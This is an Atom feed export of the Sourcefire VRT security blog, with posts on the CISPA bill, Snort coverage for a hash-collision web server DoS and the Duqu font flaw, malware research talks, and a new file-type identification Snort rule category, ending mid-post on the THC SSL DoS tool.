<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1029833275466591797</id><updated>2012-01-26T08:26:31.855-05:00</updated><category term='2009'/><category term='Razorback'/><category term='SMB DoS'/><category term='MS09-022'/><category term='Boss-Hates-Me'/><category term='development'/><category term='MS09-006'/><category term='MS09-031'/><category term='cybershockwave'/><category term='Windows'/><category term='shared object rules'/><category term='CVE-2009-0520'/><category term='MS09-015'/><category term='pulled pork'/><category term='detection'/><category term='Blacklisting'/><category term='MS09-005'/><category term='exploitation'/><category term='FTP'/><category term='Functional Not Elegant'/><category term='MS09-023'/><category term='Vulnerability'/><category term='Trojan.Rincux'/><category term='MS09-014'/><category term='Apache'/><category term='SMBv2'/><category term='H2H'/><category term='DEP'/><category term='Event Mapping'/><category term='patch'/><category term='MS09-008'/><category term='MS09-041'/><category term='ClamAV'/><category term='Opera'/><category term='Metasploit'/><category term='MS09-013'/><category term='MS08-068'/><category term='Rules'/><category term='MS09-024'/><category term='Perl'/><category term='Exploiting'/><category term='wireshark'/><category term='trojan'/><category term='OSX'/><category term='IIS'/><category term='Word'/><category term='MS09-042'/><category term='iPhone'/><category term='Firefox'/><category term='iTunes'/><category term='Coverage'/><category term='CVE-2008-5911'/><category term='PE-Sig'/><category term='VMware'/><category term='Conficker'/><category term='Snort'/><category term='MS09-012'/><category term='worm'/><category term='MS09-030'/><category term='SO Rules'/><category term='Rawbytes'/><category term='Internet Explorer'/><category term='PoE'/><category term='MS08-067'/><category term='Gumblar'/><category term='Beta site'/><category term='conferences'/><category term='Excel'/><category term='Innovation'/><category term='Olney&apos;s Horrible DB'/><category term='cybersecurity'/><category term='Snort.org'/><category term='Evasions'/><category term='Microsoft'/><category term='MS09-011'/><category term='MS09-034'/><category term='Acrobat'/><category term='MS09-003'/><category term='Oracle'/><category term='MS08-078'/><category term='Sweden'/><category term='Whitepaper'/><category term='dumbpig'/><category term='planning'/><category term='OfficeCat'/><category term='ask the VRT'/><category term='IRC'/><category term='MS09-010'/><category term='tuning'/><category term='MS09-002'/><category term='DoJoSec'/><category term='SSL'/><category term='Brad Arkin'/><category term='preprocessor'/><category term='Powerpoint'/><category term='MS09-032'/><category term='Snort Rule Options'/><category term='Snort User Groups'/><category term='Snort Overview'/><category term='backdoor'/><category term='dhclient'/><category term='MS09-027'/><category term='0-day'/><category term='Jobs'/><category term='THC'/><category term='Fun'/><category term='phishing'/><category term='CVE-2009-0045'/><category term='pentesting'/><category term='CUPS'/><category term='O:DTLWWOT'/><category term='MS09-028'/><category term='preprocessor options'/><category term='Linux'/><category term='twitter'/><category term='Weblogic'/><category term='virus'/><category term='DoS'/><category term='Ubuntu'/><category term='md5'/><category term='MS09-004'/><category term='Neural Network'/><category term='DNS'/><category term='immunet'/><category term='predictions'/><category term='OMRON FINS'/><category term='methodology'/><category term='C rules'/><category term='omg'/><category term='Buffers'/><category term='Flash'/><category term='dcerpc'/><category term='dsniff'/><category term='MS09-039'/><category term='ActiveX'/><category term='SubSeven'/><category term='Mac'/><category term='Marketing'/><category term='awbo'/><category term='SCADA'/><category term='Defcon'/><category term='MS09-048'/><category term='CVE-2010-1885'/><category term='CVE-2008-5457'/><category term='Anomaly Detection'/><category term='Adobe'/><category term='Amish Hammers'/><category term='DoJoCon'/><category term='MS09-047'/><category term='SANS'/><category term='cloud'/><category term='We&apos;re all going to die'/><category term='http_inspect'/><category term='APT'/><category term='IDA Pro'/><category term='labs'/><category term='MS09-001'/><category term='MS09-046'/><category term='MS09-029'/><category term='Dial-up'/><category term='winamp'/><category term='Education'/><category term='OpenSSH'/><category term='MS09-019'/><category term='Soothsaying'/><category term='Vulnerability Report'/><category term='obfuscation'/><category term='MS09-045'/><category term='signatures'/><category term='javascript'/><category term='Updating software'/><category term='apple'/><category term='Reader'/><category term='rogye antivirus'/><category term='Green Curtain'/><category term='MS09-018'/><category term='Buffer Overflow'/><category term='Security'/><category term='MS09-037'/><category term='MS09-009'/><category term='MS09-020'/><category term='dnssnarf'/><category term='Vendor Response'/><category term='polymorphic'/><category term='MS03-039'/><category term='MS09-044'/><category term='script'/><category term='MS09-036'/><category term='Disclosure'/><category term='rocket pig'/><category term='MS09-017'/><category term='prediction'/><category term='Magic'/><category term='bots'/><category term='rsplug'/><category term='MS09-038'/><category term='cygwin'/><category term='so_rules'/><category term='MS09-043'/><category term='WebDAV'/><category term='four way handshake'/><category term='MS09-016'/><category term='VRT'/><category term='windbg'/><category term='Malware'/><category term='antivirus'/><category term='flowbits'/><category term='Mattland'/><category term='Byakugan'/><category term='Virut'/><category term='TLS'/><category term='freakshow'/><category term='MS09-021'/><title type='text'>VRT</title><subtitle type='html'>We are the Sourcefire Vulnerability Research Team. We are legion. Resistance is futile.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default?start-index=101&amp;max-results=100'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>306</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-1307665287022275097</id><published>2012-01-05T10:00:00.000-05:00</published><updated>2012-01-05T11:07:28.178-05:00</updated><title type='text'>A New Hope</title><content type='html'>Rep. Mike Rogers (R-MI) and Rep. Dutch Ruppersberger (D-MD) know a secret: &amp;nbsp;The Federal government is REALLY good at watching people, much better than, say, the private sector. &amp;nbsp;So they asked themselves (at least they did in my mind), "Why not share some of that information in order to protect American businesses from the ubiquitous cyber-security threat?"&lt;br /&gt;&lt;br /&gt;Hey guys…that’s a damn good idea!&lt;br /&gt;&lt;br /&gt;Seriously, I thought it was a great idea. &amp;nbsp;So it was with a good deal of enthusiasm that I printed out H.R. 3523, or to use its more sexy name, the “Cyber Intelligence Sharing and Protection Act of 2011”.[1] &amp;nbsp;There are only 11 pages, a lot of it standard language stuff, but it essentially lays out that the governement can share with the private sector and vice versa. &amp;nbsp;Of course, it's never that simple. &amp;nbsp;For example, the NSA can only share with cleared organizations that can demonstrate they know how to handle classified information.&lt;br /&gt;&lt;br /&gt;There is also the small matter of the following statement from the proposed legislation: &amp;nbsp;"classified cyber threat intelligence may only be … shared consistent with the need to protect the national security of the United States.” &amp;nbsp;Which, of course, leaves one giant question: &amp;nbsp;What, exactly, constitutes a threat to national security?&lt;br /&gt;&lt;br /&gt;There are, of course, the obvious…terrorists, nuclear proliferation, hostile foreign nations, and the like. &amp;nbsp;But that isn’t what Rogers and Ruppersberger are thinking here. &amp;nbsp;They are, according to Mike Rogers, targeting “economic predators, including nation-states, [that] are blatantly stealing business secrets and innovation from private companies.” [2] So we aren’t talking missiles, bombs and airplanes, we’re talking, potentially, about contract negotiations, natural resource surveys and customer lists.&lt;br /&gt;&lt;br /&gt;A recent report [3] by the Office of the National Counter Intelligence Executive (ONCIX) states that “Losses of sensitive economic information and technologies to foreign entities represent significant costs to US national security.” &amp;nbsp;Clearly, this administration, and apparently this congress, are adopting the position that jacking with U.S. companies jacks with the national security. &amp;nbsp;Given the nature of the world today, I think they're right to do so.&lt;br /&gt;&lt;br /&gt;I know...I'm not well known for staunchly backing the ideas of legislators or administrators. &amp;nbsp;You wouldn't be blamed for&amp;nbsp;thinking I’m a cynical, pessimistic nutter who lived by himself in a wooden hut, eating nothing but pickled ginger and gummy bears while spending his day ranting about the&amp;nbsp;overly&amp;nbsp;generous nature of most computer networks.[4] &amp;nbsp;But this time -- and I do have trouble saying this -- I think they’re on to something. &amp;nbsp;The private sector just isn't in a position to match the federal government's ability to generate intelligence. &amp;nbsp;In fact of all the things the government could provide in the forms of mandates, laws, policies, rules, reporting requirements, CISSP factories, etc... intelligence is really the only thing that makes sense. &amp;nbsp;It's the only thing that they can provide that industry can't legitimately generate itself. &amp;nbsp;I think this is a really good piece of legislation.&lt;br /&gt;&lt;br /&gt;Of course, there are lots of ways to screw it up, and I'm sure that some of those ways will be found. &amp;nbsp;But if we get into the habit of having the government share information and letting organizations figure out how to act on the information, we'll be headed down a very good path.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;[1] &lt;a href="http://www.gpo.gov/fdsys/pkg/BILLS-112hr3523ih/pdf/BILLS-112hr3523ih.pdf"&gt;http://www.gpo.gov/fdsys/pkg/BILLS-112hr3523ih/pdf/BILLS-112hr3523ih.pdf&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;[2] &lt;a href="http://dutch.house.gov/2011/11/ruppersberger-rogers-introduce-cybersecurity-bill-to-protect-american-businesses-from-economic-preda.shtml"&gt;http://dutch.house.gov/2011/11/ruppersberger-rogers-introduce-cybersecurity-bill-to-protect-american-businesses-from-economic-preda.shtml&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;[3] &lt;a href="http://www.ncix.gov/publications/reports/fecie_all/Foreign_Economic_Collection_2011.pdf"&gt;http://www.ncix.gov/publications/reports/fecie_all/Foreign_Economic_Collection_2011.pdf&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;[4] And nothing in this blog post would prove you wrong…&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-1307665287022275097?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/1307665287022275097/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=1307665287022275097' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/1307665287022275097'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/1307665287022275097'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/12/new-hope.html' title='A New Hope'/><author><name>Matt Olney</name><uri>http://www.blogger.com/profile/15503080145847585643</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-4619937719328075189</id><published>2011-12-28T15:08:00.005-05:00</published><updated>2011-12-29T16:48:34.490-05:00</updated><title type='text'>Cross-Platform Single-Request Web Server DoS From CCC</title><content type='html'>Security never sleeps, even if it is the week between Christmas and New Year's, and most of you are on vacation, enjoying time with your family, or just goofing off because the office is empty. Today's reminder of that reality comes from Alexander Klink and Julian Walde, who &lt;a href="http://events.ccc.de/congress/2011/Fahrplan/events/4680.en.html"&gt;presented yesterday&lt;/a&gt; at the &lt;a href="http://events.ccc.de/"&gt;28th Annual Chaos Communication Congress&lt;/a&gt; a method of consuming a web server's entire CPU with a simple, low-bandwidth POST request. In fact, according to the &lt;a href="http://permalink.gmane.org/gmane.comp.security.full-disclosure/83694"&gt;advisory&lt;/a&gt; they released after the talk, as little as 30k/sec could be necessary to occupy a single i7 core, depending on the target platform.&lt;br /&gt;&lt;br /&gt;While the details of the attack are complex and vary from one target platform to another, the essence of it is that if you can send a large number of key/value pairs where the keys cause collisions in the receiving system's hashing algorithm, each colliding key will consume exponentially more CPU time to parse than the last. This makes for fairly straightforward detection in Snort - exceptionally large numbers of key/value pairs are necessary to trigger the bug, and so it's a matter of counting them up in a given request.&lt;br /&gt;&lt;br /&gt;We've released SIDs 20823 and 20824 in an SEU late last night to cover this vulnerability. &lt;br /&gt;&lt;br /&gt;For more information on this vulnerability check out the MSRC blog post &lt;a href="http://blogs.technet.com/b/srd/archive/2011/12/29/asp-net-security-update-is-live.aspx"&gt;here&lt;/a&gt;.  The VRT Snort rules for detecting this vulnerability are discussed in their blog post.&lt;br /&gt;&lt;br /&gt;We are working on the additional issues patched in &lt;a href="http://technet.microsoft.com/en-us/security/bulletin/ms11-100"&gt;MS11-100&lt;/a&gt;, and will provide coverage for those shortly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-4619937719328075189?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/4619937719328075189/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=4619937719328075189' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/4619937719328075189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/4619937719328075189'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/12/cross-platform-single-request-web.html' title='Cross-Platform Single-Request Web Server DoS From CCC'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-8676806168363725287</id><published>2011-11-18T20:25:00.003-05:00</published><updated>2011-11-18T20:41:04.989-05:00</updated><title type='text'>Malware Mythbusting</title><content type='html'>The &lt;a href=http://vrt-blog.snort.org/2011/02/blacklistrules-clamav-and-data-mining.html&gt;malware sandbox&lt;/a&gt; that I've previously discussed on this blog has made for a lot of useful Snort rules - but it's also helped get me some excellent speaking slots around the world this year. This time, I've just wrapped up a presentation titled "Malware Mythbusting" at &lt;a href=http://www.ruxcon.org.au/&gt;Ruxcon&lt;/a&gt;, Australia's premier technical security conference.&lt;br /&gt;&lt;br /&gt;The premise of the talk was simple: there's a lot of hype surrounding malware, and if you're someone tasked with keeping a network secure, there's generally not a lot of good information about the nature of the threat. Can I cut off China and Russia and make all the C&amp;C servers go away? Are spambots really a major threat, or has garden-variety malware moved on? Are the people writing malicious software a bunch of evil geniuses, or can a little bit of diligence and attention locate heaps of nasty behavior on the network?&lt;br /&gt;&lt;br /&gt;While I don't claim to have all the answers - no one does - I hope to have done a reasonable job of answering some of these questions during this talk. For those of you who didn't have the chance to make it down here - and for those who did that want to take a closer look at some of the data presented - I've made my &lt;a href=http://labs.snort.org/files/MalwareMythbusting.pdf&gt;slides available here&lt;/a&gt;. As I noted in the talk, if you have questions that it left unanswered, or if you're interested in working with us on malware research, drop the VRT a line - we're happy to collaborate with anyone who has good ideas. After all, at the end of the day, we're all on the same team here, and anything that can be done to clean more malicious software from the Internet is a good thing, regardless of the source.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-8676806168363725287?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/8676806168363725287/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=8676806168363725287' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8676806168363725287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8676806168363725287'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/11/malware-mythbusting.html' title='Malware Mythbusting'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-7585937140082661647</id><published>2011-11-08T14:51:00.001-05:00</published><updated>2011-11-08T14:51:34.763-05:00</updated><title type='text'>Microsoft Security Advisory 2639658</title><content type='html'>Microsoft recently added a new initiative to its Microsoft Active Protection Program (MAPP), called the Advisory Initiative program, which gives partners up to 96 hours to provide protection for discovered vulnerabilities. Microsoft piloted the program with an advisory release on the Win32K TrueType font parsing engine, related to the Duqu malware (CVE-2011-3402). Sourcefire released its protections for this threat within the first 48 hours, as noted on the MAPP site &lt;a href="http://technet.microsoft.com/en-us/security/advisorymapp"&gt;http://technet.microsoft.com/en-us/security/advisorymapp&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;SID: GID 3, SID 20539&lt;br /&gt;&lt;a href="http://labs.snort.org/papers/ms/immediate-response.html"&gt;http://labs.snort.org/papers/ms/immediate-response.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Duqu exploits a vulnerability in Windows in the way it parses TrueType fonts and it can create an open tunnel into a user's computer. Then attackers have the freedom to gain full system access and run arbitrary code and modify data, install applications, and, essentially, use the system as the user would. This flaw, for which Microsoft &lt;a href="http://support.microsoft.com/kb/2639658"&gt;previously issued a workaround&lt;/a&gt;, is exploitable across many Windows platforms. Despite this, Microsoft reports that they are currently seeing low customer impact at this time.&lt;br /&gt;&lt;br /&gt;More information, as well as other vendors who responded within 48 hours, can be found on the &lt;a href="http://technet.microsoft.com/en-us/security/advisorymapp"&gt;MAPP program web site&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-7585937140082661647?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/7585937140082661647/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=7585937140082661647' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7585937140082661647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7585937140082661647'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/11/microsoft-security-advisory-2639658.html' title='Microsoft Security Advisory 2639658'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-1107930891260938360</id><published>2011-11-03T15:00:00.000-04:00</published><updated>2011-11-03T15:24:06.462-04:00</updated><title type='text'>Android Malware Analysis: A How-To</title><content type='html'>While mobile malware comprises only a tiny fraction of the overall landscape in terms of volume, it is fast becoming essential to address from an enterprise security standpoint.  Unfortunately, very few people would even have a clue where to start if charged with analyzing a program on a smart phone.  This disconnect provided the rationale for a presentation I recently gave at &lt;a href=http://conference.hitb.org&gt;Hack in the Box Malaysia&lt;/a&gt; on how to go from "I've got an Android APK file, now what?" to full static and dynamic analysis.&lt;br /&gt;&lt;br /&gt;The slides, &lt;a href=http://labs.snort.org/files/MobileMalware.pdf&gt;available here&lt;/a&gt;, contain links to a number of useful tools. The good news for longtime readers of this blog is that the process is even easier now than it was when &lt;a href=http://vrt-blog.snort.org/2010/08/malware-on-android-big-deal.html&gt;Alain Zidouemba discussed reversing Android apps&lt;/a&gt; last August. Free software is available that can deliver the original Java source for any given Android app. My presentation also provides an overview of the Android permissions system and its relevance to static analysis, as well as some example packet captures from in-the-wild malicious apps.&lt;br /&gt;&lt;br /&gt;One useful piece of advice remains the same since Alain's original analysis, however: the vast majority of malicious apps come not from the Google market but from third-party package distribution sources. We're not saying that you shouldn't ever pull an app from outside the market, just that you should do your homework before you do.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-1107930891260938360?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/1107930891260938360/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=1107930891260938360' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/1107930891260938360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/1107930891260938360'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/11/android-malware-analysis-how-to.html' title='Android Malware Analysis: A How-To'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-8934819250770740718</id><published>2011-11-02T15:56:00.002-04:00</published><updated>2012-01-12T14:35:24.821-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Magic'/><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><category scheme='http://www.blogger.com/atom/ns#' term='flowbits'/><category scheme='http://www.blogger.com/atom/ns#' term='VRT'/><title type='text'>Say Hello to the file-identify category</title><content type='html'>This week we are introducing a new rule category into the VRT rule set, named "&lt;code&gt;file-identify.rules&lt;/code&gt;".  The purpose of this category is to standardize the structure of rules that “&lt;code&gt;set&lt;/code&gt;” a flowbit and to enhance detection by looking into file data. The changes will occur in two stages.&lt;br /&gt;&lt;br /&gt;Stage 1. The creation of a series of rules that detect the "magic" in files, probably around 70 to start, with more being added as time passes and needs arise. For example:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -&amp;gt; $HOME_NET any (msg:"FILE-IDENTIFY PNG file magic detection"; flow:to_client,established; file_data; content:"|89|PNG|0D 0A 1A 0A|"; within:8; fast_pattern; flowbits:set,http.png; flowbits:noalert; classtype:misc-activity; sid:20478; rev:1;)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;In this example, the magic at the beginning of the file is detected (the "&lt;code&gt;|89|PNG|0D 0A 1A 0A|&lt;/code&gt;”) and the flowbit is set for this particular file type. This will allow a flowbit to be set for file types based on the data in the file and not the file extension in say a URI. For example, if a rule looks for “.jpg” in the URI and sets the “&lt;code&gt;http.jpg&lt;/code&gt;” flowbit to track the download for the image requested, but the file is actually a PDF with a .jpg extension, then further detection based on the setting of this flowbit could lead to false positive events at best and false negative events at worst.&lt;br /&gt;&lt;br /&gt;Stage 2. Move all URI checks for file extensions over to "&lt;code&gt;file-identify&lt;/code&gt;". A lot of work has been done to cleanup these rules. They now have a well defined and consistent structure, with references, flow, message, detection, classtype and pcre options all standardized.&lt;br /&gt;&lt;br /&gt;For example:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;alert tcp $HOME_NET any -&amp;gt; $EXTERNAL_NET $HTTP_PORTS (msg:"WEB-CLIENT .hta download attempt"; flow:to_server,established; content:".hta"; nocase; http_uri; pcre:"/\.hta(\b|$)/Ui"; flowbits:set,http.hta; flowbits:noalert; classtype:not-suspicious; sid:3551; rev:4;)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Now reads:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;alert tcp $HOME_NET any -&amp;gt; $EXTERNAL_NET $HTTP_PORTS (msg:"FILE-IDENTIFY HTA file download request"; flow:to_server,established; content:".hta"; nocase; http_uri; fast_pattern:only; pcre:"/\x2ehta([\?\x5c\x2f]|$)/smiU"; flowbits:set,http.hta; flowbits:noalert; reference:url,en.wikipedia.org/wiki/HTML_Application; classtype:misc-activity; sid:3551; rev:5;)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And rules like this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;alert tcp $EXTERNAL_NET $HTTP_PORTS -&amp;gt; $HOME_NET any (msg:"WEB-CLIENT GIF transfer"; flow:from_server,established; content:"image/"; nocase; http_header; pcre:"/^Content-Type\x3a(\s*|\s*\r?\n\s+)image\x2fgif/smiH"; flowbits:set,http.gif; flowbits:noalert; classtype:protocol-command-decode; sid:3535; rev:9;)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Have been changed (or eliminated in this case) and have been split into two:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;alert tcp $HOME_NET any -&amp;gt; $EXTERNAL_NET $HTTP_PORTS (msg:"FILE-IDENTIFY GIF file download request"; flow:to_server,established; content:".gif"; nocase; http_uri; fast_pattern; pcre:"/\x2egif([\?\x5c\x2f]|$)/smiU"; flowbits:set,http.gif; flowbits:noalert; classtype:misc-activity; sid:17394; rev:2;)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -&amp;gt; $HOME_NET any (msg:"FILE-IDENTIFY GIF file magic detection"; flow:to_client,established; file_data; content:"GIF8"; within:4;&amp;nbsp;&lt;/code&gt;&lt;span class="Apple-style-span" style="font-family: monospace;"&gt;fast_pattern;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: monospace;"&gt;content:"a"; within:1; distance:1; &amp;nbsp;flowbits:set,http.gif; flowbits:noalert; classtype:misc-activity; sid:20459; rev:1;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Over the course of the next week, these changes will be made to the rule set, and a new variable will be introduced in the snort configuration file:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;portvar FILE_DATA_PORTS  [$HTTP_PORTS,110,143]&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Following these two introductions, the structure and formatting of all the flowbit names will be standardized. For example, replacing names like “&lt;code&gt;http.gif&lt;/code&gt;” with “&lt;code&gt;file.gif&lt;/code&gt;”, will reflect more accurately what is being detected.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Action items for you&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;#1. You'll need to add the above variable to your &lt;code&gt;snort.conf&lt;/code&gt;, use the &lt;code&gt;snort.conf&lt;/code&gt; in the VRT tarball, or download the new &lt;code&gt;snort.conf&lt;/code&gt; &lt;here&gt;.&lt;br /&gt;#2. If you are using the Sourcefire product, or PulledPork, the change should be minimal. The Sourcefire product and PulledPork perform flowbit auto-enabling and resolution. If you are using another tool to mange your installation, you will need to pay attention to this rule category.&lt;/here&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-8934819250770740718?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/8934819250770740718/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=8934819250770740718' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8934819250770740718'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8934819250770740718'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/11/say-hello-to-file-identify-category.html' title='Say Hello to the file-identify category'/><author><name>Joel Esler</name><uri>http://www.blogger.com/profile/05018134738510159518</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp2.blogger.com/_BpBcl5urwoc/SGEd_P7nmEI/AAAAAAAAAKA/EJkaqvwmX0o/S220/Headshot.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-7549406489199405391</id><published>2011-10-31T13:16:00.018-04:00</published><updated>2011-11-01T09:19:30.570-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='THC'/><category scheme='http://www.blogger.com/atom/ns#' term='SSL'/><category scheme='http://www.blogger.com/atom/ns#' term='TLS'/><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='DoS'/><category scheme='http://www.blogger.com/atom/ns#' term='detection'/><category scheme='http://www.blogger.com/atom/ns#' term='VRT'/><title type='text'>SSL DoS, Snort, and You</title><content type='html'>Upon hearing of the release of &lt;a href="http://www.thc.org/thc-ssl-dos/"&gt;THC SSL DoS tool&lt;/a&gt;, we decided to download it and look at it in our lab.  The idea was intriguing and we were curious to see it in action.&lt;br /&gt;&lt;br /&gt;If you are unfamiliar with the method utilized, the THC SSL DoS tool seeks to issue a Denial of Service (DoS) against hosts that offer SSL/TLS encrypted services. Unlike SSL flooding techniques of the past, this 